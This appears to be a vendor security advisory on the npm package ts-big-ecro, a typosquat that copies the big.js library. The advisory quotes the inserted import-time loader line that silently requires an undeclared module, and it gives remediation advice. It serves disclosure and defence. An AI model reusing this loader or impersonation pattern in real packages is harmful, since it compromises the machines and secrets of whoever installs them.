ts-big-ecronpm
Malicious code in ts-big-ecro (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
ts-big-ecro is a verbatim copy of the legitimate big.js library (MikeMcl/big.js v7.0.1) with its name, repository field, and copyright preserved to impersonate the original. Inside the main module (big.js:606 and big.mjs:606), an attacker-inserted block runs at the top level on every require()/import of the package: try { const doc = require("parket-helper"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }. The call fires unconditionally, swallows all errors to evade detection, and loads parket-helper — a module that is not declared in dependencies, not documented anywhere, and unrelated to arbitrary-precision arithmetic. The package's only declared dependency is server-parket@^3.8.1, which is similarly unrelated to the package's stated purpose (the real big.js has zero runtime dependencies). The combination — typosquat name, verbatim impersonation of a popular library, import-time loader for an undeclared helper module, and a suspicious sibling dependency of a different name — is the standard dependency-confusion trojan-loader pattern. Any installer that requires this package executes attacker-controlled code from parket-helper in their process.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Scan your dependencies
O3 Security blocks malicious packages like this at install time and in CI.
Supply-chain protection